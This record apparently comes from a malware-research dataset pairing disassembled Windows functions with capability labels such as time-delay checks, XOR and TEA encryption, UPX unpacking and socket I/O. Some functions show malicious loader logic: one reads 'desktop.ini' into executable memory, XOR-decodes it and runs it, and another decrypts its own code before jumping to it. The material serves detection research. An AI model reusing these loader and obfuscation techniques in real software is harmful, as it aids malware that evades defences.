joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ddf1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
sub esp, 0x4c
mov eax, 0x447ac2
call fcn.00425528
sub esp, 0x114
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x503cd0]
cmp eax, dword [0x5046d2]
jb 0x41dfcd
push ebx
push esi
push 0x10
mov ebx, 0x4a6eac
push ebx
call fcn.0041c61d
movzx eax, word [0x4a6ea8]
imul edx, eax, 0x153
pop ecx
pop ecx
mov ecx, ebx
sub edx, ebx
mov al, byte [ecx]
mov byte [edx + ecx + 0x4a6edc], al
inc ecx
test al, al
jne 0x41de3f
mov esi, dword [0x528cd2]
lea eax, [ebp]
push 0x40
push 0
push eax
xor esi, 0xfd9
call fcn.00426e50
lea eax, [ebp]
push 0x3e9
push eax
call fcn.0041d535
lea ebx, [ebp]
add esp, 0x14
lea ecx, [ebx + 1]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x41de7d
sub ebx, ecx
mov ecx, 0x4a6eac
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41de8e
sub ecx, edx
mov dword [ebp + 0x44], ecx
mov ecx, 0x5046a8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dea2
sub ecx, edx
mov dword [ebp + 0x40], ecx
lea ecx, [ebp - 0x120]
call fcn.0040129a
and dword [ebp - 4], 0
lea eax, [ebp + 0x48]
push 1
push 0x20
push eax
lea ecx, [ebp - 0x120]
mov dword [ebp + 0x48], 0xfd9
call fcn.00401731
push 1
push 8
lea eax, [ebp + 0x4c]
mov byte [ebp + 0x4c], 1
push eax
lea ecx, [ebp - 0x120]
call fcn.00401731
mov eax, dword [ebp + 0x44]
lea ecx, [ebp - 0x120]
push 1
mov byte [ebp + 0x4c], al
lea eax, [ebp + 0x4c]
push 8
push eax
call fcn.00401731
mov ecx, dword [ebp + 0x44]
movzx eax, cl
lea ecx, [ebp - 0x120]
push eax
push 0x4a6eac
call fcn.004016c5
mov dword [ebp + 0x48], esi
lea eax, [ebp + 0x48]
xor esi, esi
lea ecx, [ebp - 0x120]
inc esi
push esi
push 0x20
push eax
call fcn.00401731
push esi
push 8
lea eax, [ebp + 0x4c]
mov byte [ebp + 0x4c], bl
push eax
lea ecx, [ebp - 0x120]
call fcn.00401731
movzx eax, bl
lea ecx, [ebp - 0x120]
push eax
lea eax, [ebp]
push eax
call fcn.004016c5
mov ebx, dword [ebp + 0x40]
lea eax, [ebp + 0x4c]
push esi
push 8
push eax
lea ecx, [ebp - 0x120]
mov byte [ebp + 0x4c], bl
call fcn.00401731
movzx eax, bl
lea ecx, [ebp - 0x120]
push eax
push 0x5046a8
call fcn.004016c5
mov ecx, dword [0x4a6ecc]
xor edx, edx
push edx
push dword [0x44c348]
push dword [0x44c344]
mov eax, dword [ecx]
push edx
push edx
push 8
push esi
lea edx, [ebp - 0x120]
push edx
push 0x461394
call dword [eax + 0x64]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [ebp - 0x120]
mov dword [0x503cd0], eax
call fcn.004012b5
pop esi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
add ebp, 0x50
leave
ret
Function at 0x41dfdc
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, 0x448050
call fcn.00425528
sub esp, 0x118
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x503ce0]
cmp eax, dword [0x5046ce]
jb 0x41e138
push ebx
push edi
lea ecx, [ebp - 0x124]
call fcn.0040129a
mov eax, dword [0x503cc0]
lea ecx, [ebp - 0x124]
mov dword [ebp - 0x10], eax
xor ebx, ebx
inc eax
mov dword [ebp - 4], ebx
push 1
mov dword [0x503cc0], eax
lea eax, [ebp - 0x10]
push 0x20
push eax
call fcn.00401731
mov ecx, dword [0x4a6ecc]
lea edx, [ebp - 0x124]
push ebx
push dword [0x44c348]
push dword [0x44c344]
mov eax, dword [ecx]
push ebx
push ebx
push 0xa
pop edi
push edi
push 1
push edx
push 0x461440
call dword [eax + 0x64]
mov ecx, dword [0x4a6ecc]
lea edx, [ebp - 0x124]
push ebx
push dword [0x44c348]
push dword [0x44c344]
mov eax, dword [ecx]
push ebx
push ebx
push edi
push 1
push edx
push 0x4613b4
call dword [eax + 0x64]
mov ecx, dword [0x4a6ecc]
lea edx, [ebp - 0x124]
push ebx
push dword [0x44c348]
push dword [0x44c344]
mov eax, dword [ecx]
push ebx
push ebx
push edi
push 1
push edx
push 0x4613b8
call dword [eax + 0x64]
mov ecx, dword [0x4a6ecc]
lea edx, [ebp - 0x124]
push ebx
push dword [0x44c348]
push dword [0x44c344]
mov eax, dword [ecx]
push ebx
push ebx
push edi
push 1
push edx
push 0x461428
call dword [eax + 0x64]
mov ecx, dword [0x4a6ecc]
lea edx, [ebp - 0x124]
push ebx
push dword [0x44c348]
push dword [0x44c344]
mov eax, dword [ecx]
push ebx
push ebx
push edi
push 1
push edx
push 0x4613a4
call dword [eax + 0x64]
movzx eax, word [0x503e15]
push 0x449ca0
push 1
push 1
push eax
call fcn.0041e441
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [ebp - 0x124]
mov dword [0x503ce0], eax
call fcn.004012b5
pop edi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret

Function at 0x41e1c9
Capabilities:
Check for time delay via gettickcount

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x503ccc]
cmp eax, dword [0x5046c6]
jb 0x41e221
call fcn.0043437f
and eax, reloc.WS2_32.dll_ntohs
jns 0x41e1ee
dec eax
or eax, 0xfffffff0
inc eax
add eax, 3
push eax
push 0x4a6eac
call fcn.0041c61d
push 0
mov byte [0x50421e], 1
call fcn.0041dd26
push 1
push 1
call fcn.0041fea6
add esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x503ccc], eax
ret

Function at 0x41e7ab
Capabilities:
Create thread
Terminate thread

Disassembly:
push esi
xor esi, esi
cmp dword [0x50430c], esi
je 0x41e7fe
push esi
push esi
push 2
push dword [0x504318]
mov dword [0x50430c], esi
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [0x504318]
call dword [sym.imp.USER32.dll_DestroyWindow]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push str.teleportMenuWndClass
call dword [sym.imp.USER32.dll_UnregisterClassA]
push esi
push dword [0x504314]
mov dword [0x504310], esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
push esi
push esi
push 0x4231a3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x504314], eax
pop esi
ret
Function at 0x41e8cc
Capabilities:
Encode data using xor

Disassembly:
mov cl, byte [esp + 4]
mov edx, 0x44c350
push ebx
mov bl, byte [esp + 0xc]
push esi
push 0x64
pop esi
xor cl, byte [edx]
xor cl, bl
inc edx
sub esi, 1
jne 0x41e8de
pop esi
mov al, cl
pop ebx
ret

Function at 0x41fde1
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, 0x4486d9
call fcn.00425528
sub esp, 0x228
cmp dword [ebp + 8], 0
push esi
je 0x41fe55
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x503cf8]
cmp eax, dword [ebp + 0xc]
jbe 0x41fe99
call esi
lea ecx, [ebp - 0x120]
mov dword [0x503cf8], eax
call fcn.0040129a
mov ecx, dword [ebp + 0x10]
xor edx, edx
push edx
push dword [0x44c478]
mov dword [ebp - 4], edx
push dword [0x44c474]
mov eax, dword [ecx]
push edx
push edx
push 8
push 1
lea edx, [ebp - 0x120]
push edx
push 0x4613f4
call dword [eax + 0x64]
lea ecx, [ebp - 0x120]
jmp 0x41fe94
lea ecx, [ebp - 0x234]
call fcn.0040129a
mov ecx, dword [ebp + 0x10]
xor edx, edx
push edx
push dword [0x44c478]
xor esi, esi
push dword [0x44c474]
mov eax, dword [ecx]
inc esi
push edx
push edx
push 8
push esi
lea edx, [ebp - 0x234]
mov dword [ebp - 4], esi
push edx
push 0x4613f4
call dword [eax + 0x64]
lea ecx, [ebp - 0x234]
call fcn.004012b5
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x4225a8
Capabilities:
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a4
lea eax, [ebp - 0x9a4]
push edi
push eax
push 0x101
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4225cc
xor eax, eax
pop edi
leave
ret
push ebx
push esi
xor ebx, ebx
push ebx
push 2
pop esi
push esi
push esi
call sub.WS2_32.dll_socket
mov dword [0x504458], eax
cmp eax, 0xffffffff
jne 0x4225f0
call sub.WS2_32.dll_WSACleanup
pop esi
xor eax, eax
pop ebx
jmp 0x4225c9
xor eax, eax
mov edi, 0x50445c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, word [0x504420]
push eax
mov word [0x50445c], si
call sub.WS2_32.dll_htons
mov edi, 0x504320
mov word [0x50445e], ax
push edi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x42263d
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
push 0x504460
call fcn.004268d0
add esp, 0xc
jmp 0x422648
push edi
call sub.WS2_32.dll_inet_addr
mov dword [0x504460], eax
push ebx
mov word [0x50446c], si
call sub.WS2_32.dll_htons
push dword [0x504420]
mov word [0x50446e], ax
push edi
push str.RCON_mode_initialized___s:_d_._Type_login__password__to_set_the_password.
call fcn.0041b23e
mov edi, 0x400
mov dword [ebp - 4], 0x10
push edi
lea eax, [ebp - 0x414]
push ebx
push eax
call fcn.00426e50
add esp, 0x18
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
push edi
lea eax, [ebp - 0x414]
push eax
push dword [0x504458]
call sub.WS2_32.dll_recvfrom
test eax, eax
jle 0x42271d
cmp byte [ebp - 0x40a], 0x78
jne 0x42271d
push edi
lea eax, [ebp - 0x814]
push ebx
push eax
call fcn.00426e50
movsx ax, byte [ebp - 0x409]
lea ecx, [ebp - 0x407]
add esp, 0xc
movzx edx, ax
cmp dx, di
ja 0x42271d
mov al, byte [ebp - 0x407]
jmp 0x4226ed
dec al
cmp al, 0x1e
ja 0x4226ea
mov byte [ecx], 0x20
inc ecx
mov al, byte [ecx]
test al, al
jne 0x4226e1
mov esi, edx
lea eax, [ebp - 0x407]
push esi
push eax
lea eax, [ebp - 0x814]
push eax
call fcn.0042c280
lea eax, [ebp - 0x814]
mov byte [ebp + esi - 0x814], bl
push eax
call fcn.0041b23e
add esp, 0x10
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x422689
Function at 0x42272a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
push esi
push edi
mov edi, 0x504480
mov ebx, edi
lea ecx, [ebx + 1]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x422740
sub ebx, ecx
mov ecx, dword [ebp + 8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42274f
push 0x3f3
lea eax, [ebp - 0x3f7]
sub ecx, edx
push 0
push eax
mov dword [ebp - 4], ecx
call fcn.00426e50
mov eax, dword [0x504460]
mov dword [ebp - 0x400], eax
mov ax, word [0x50445e]
push 0x78
mov word [ebp - 0x3fc], ax
pop eax
mov word [ebp - 0x3fa], ax
movzx eax, bl
movzx esi, bl
push esi
mov word [ebp - 0x3f9], ax
lea eax, [ebp - 0x3f7]
push edi
push eax
mov dword [ebp - 0x404], 0x504d4153
call fcn.0042c280
add esp, 0x18
lea edi, [esi + 0xd]
cmp dword [ebp + 0xc], 0
jne 0x4227ec
mov ecx, dword [ebp - 4]
movzx eax, cl
mov word [ebp + edi - 0x404], ax
add edi, 2
movzx esi, cl
lea eax, [ebp - 0x404]
push esi
push dword [ebp + 8]
add eax, edi
push eax
call fcn.0042c280
add esp, 0xc
add edi, esi
push 0x10
push 0x50445c
push 0
push edi
lea eax, [ebp - 0x404]
push eax
push dword [0x504458]
call sub.WS2_32.dll_sendto
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42280d
Capabilities:
Get graphical window text

Disassembly:
push ecx
and dword [esp], 0
push ebp
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebp, eax
test ebp, ebp
jne 0x422826
inc eax
jmp 0x422890
push ebx
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, eax
test ebx, ebx
je 0x42288b
lea eax, [ebp + 1]
push edi
push eax
call fcn.0042551d
mov edi, eax
pop ecx
test edi, edi
je 0x42287f
lea eax, [ebp + 1]
push eax
push edi
push dword [esp + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x422875
push 0x410
push dword [esp + 0x1c]
push ebp
push edi
push ebx
call dword [sym.imp.USER32.dll_DrawTextA]
mov dword [esp + 0xc], 1
push 1
push edi
call fcn.00425577
pop ecx
pop ecx
push ebx
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_ReleaseDC]
pop edi
mov eax, dword [esp + 8]
pop ebx
pop ebp
pop ecx
ret

Function at 0x422fa8
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [0x504300], eax
xor eax, eax
push eax
push eax
push eax
push 0x423339
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x43bd08
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043bb7e

Function at 0x10001020
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x29], 0x6b
mov byte [ebp - 0x28], 0x74
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x2e
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0
mov eax, dword [0x10002024]
mov dword [ebp - 0x14], eax
mov cx, word [0x10002028]
mov word [ebp - 0x10], cx
mov byte [0x1000300d], 0
mov byte [0x1000301a], 0
mov byte [0x10003026], 0
mov byte [0x10003032], 0
mov byte [0x10003044], 0
mov byte [0x10003051], 0
mov byte [0x10003065], 0
mov byte [0x10003073], 0
mov byte [0x10003081], 0
mov byte [0x1000308e], 0
mov byte [0x100030a1], 0
mov byte [0x100030aa], 0
push 0x100030a2
push 0x1000202c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x10003066
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
push 1
push 0
push 0
lea edx, [ebp - 0x12]
push edx
push 0
push 0
call dword [ebp - 0x20]
push 0x10003027
push 0x10002060
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x1000300e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x2c]
push eax
call dword [ebp - 8]
mov dword [0x100030b0], eax
push 0x40
push 0x1000
push 0x1000
push 0
call dword [ebp - 0x18]
mov dword [0x100030ac], eax
push 0
push 0x100030bc
push 0x1000
mov ecx, dword [0x100030ac]
push ecx
mov edx, dword [0x100030b0]
push edx
call dword [ebp - 0xc]
mov eax, dword [0x100030ac]
mov cl, byte [eax]
mov byte [0x100030b4], cl
mov dword [ebp - 4], 0x42
movzx edx, byte [0x100030b4]
xor edx, 0x4e
mov dword [ebp - 0x1c], edx
cmp dword [ebp + 0x14], 0x404000
jne 0x100011b6
call fcn.10001000
mov dword [ebp - 0x30], 0
jmp 0x100011c8
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [0x100030bc]
jae 0x100011f2
mov edx, dword [0x100030ac]
add edx, dword [ebp - 0x30]
movzx eax, byte [edx]
xor eax, dword [ebp - 0x1c]
add eax, dword [ebp - 4]
mov ecx, dword [0x100030ac]
add ecx, dword [ebp - 0x30]
mov byte [ecx], al
jmp 0x100011bf
call dword [0x100030ac]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401496
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
and dword [ebp - 0x14], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x14]
push edi
mov dword [ebp - 0x34], esi
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [ebp - 8], eax
mov eax, dword [0x41b5d0]
mov dword [ebp - 0x28], eax
mov eax, dword [0x41b5d4]
mov dword [ebp - 0x30], eax
call fcn.0040148f
mov edi, dword [ebp - 0x14]
mov eax, dword [0x41b5d8]
add edi, 0x23f
mov dword [ebp - 0x20], eax
mov eax, dword [0x41b5dc]
push 0x20
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x24], eax
pop esi
mov dword [ebp - 0x18], 2
add dword [ebp - 0x18], 3
mov edx, dword [ebp - 8]
mov eax, edx
mov ecx, dword [0x2d39cec]
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x40151f
push 0x418248
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [0x2d39cec]
add eax, dword [ebp - 0x20]
cmp ecx, 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x2d39ce8]
mov dword [ebp - 0x1c], 0xedeb2e40
cmove eax, dword [ebp - 0x1c]
and dword [ebp - 0x1c], 0
cmp ecx, 0x3eb
mov dword [0x2d39ce8], eax
mov eax, dword [0x2d39c40]
cmove eax, dword [ebp - 0x1c]
mov dword [0x2d39c40], eax
lea eax, [edi + edx]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov dword [0x2d39ce4], 0xf4ea3dee
call fcn.0040146c
mov ecx, dword [ebp - 0x10]
xor ecx, eax
sub ebx, ecx
mov dword [ebp - 0x10], ecx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x2c]
nop
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
mov eax, ebx
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x10], eax
xor eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 8], eax
add edi, 0x61c88647
mov dword [ebp - 0x14], edi
dec esi
jne 0x4014e7
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], ebx
mov dword [esi], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4015ef
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x2d39cec]
push esi
mov esi, eax
shr esi, 3
push edi
mov edi, dword [0x2d39c44]
test esi, esi
je 0x401632
cmp eax, 0x959
jne 0x40161e
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, edi
call fcn.00401496
add edi, 8
dec esi
je 0x401632
mov eax, dword [0x2d39cec]
jmp 0x401605
pop edi
pop esi
ret 4
Function at 0x40d179
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a36c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00405045
mov dword [ebp - 0x14], eax
cmp dword [0x4403a0], esi
jne 0x40d26c
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d1f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d34c
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d34c
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d34c
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4403a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4403a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4403a8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4403b0], eax
test eax, eax
je 0x40d269
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4403ac], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d291
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d284
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d2a6
push 4
pop eax
jmp 0x40d34e
cmp dword [ebp - 0x14], esi
je 0x40d2a6
push dword [0x4403a0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d28b
mov eax, dword [0x4403ac]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d304
cmp dword [0x4403b0], edi
je 0x40d304
push eax
call ebx
push dword [0x4403b0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d304
test eax, eax
je 0x40d304
call ecx
test eax, eax
je 0x40d2f9
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d2f9
test byte [ebp - 8], 1
jne 0x40d304
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d334
mov eax, dword [0x4403a4]
cmp eax, edi
je 0x40d331
push eax
call ebx
test eax, eax
je 0x40d331
call eax
mov esi, eax
test esi, esi
je 0x40d331
mov eax, dword [0x4403a8]
cmp eax, edi
je 0x40d331
push eax
call ebx
test eax, eax
je 0x40d331
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4403a0]
call ebx
test eax, eax
je 0x40d34c
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d34e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040432b
mov esp, ebp
pop ebp
ret
Function at 0x532070
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd4000]
push edi
jmp 0x53208a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x532091
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x532080
mov eax, 1
add ebx, ebx
jne 0x5320a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5320b4
jne 0x5320d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320d3
dec eax
add ebx, ebx
jne 0x5320c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x532098
add ebx, ebx
jne 0x5320cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x532125
xor ecx, ecx
sub eax, 3
jb 0x5320eb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x53215a
sar eax, 1
mov ebp, eax
jmp 0x5320f6
add ebx, ebx
jne 0x5320f6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320c4
inc ecx
add ebx, ebx
jne 0x532104
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320c4
add ebx, ebx
jne 0x532111
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x532106
jne 0x532122
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x532106
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x532144
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x532136
jmp 0x532086
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x532144
add edi, ecx
jmp 0x532086
pop esi
mov edi, esi
mov ecx, 0x45f6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x532162
cmp byte [edi], 0x22
jne 0x532162
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x532167
lea edi, [esi + 0x12f000]
mov eax, dword [edi]
or eax, eax
je 0x5321df
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x136fc4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1370e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x532194
mov ecx, edi
jns 0x5321c3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1370f0]
or eax, eax
je 0x5321d9
mov dword [ebx], eax
add ebx, 4
jmp 0x5321b1
call dword [esi + 0x1370ec]
mov ebp, dword [esi + 0x1370f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x532213
sub esp, 0xffffff80
jmp 0x49add5

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx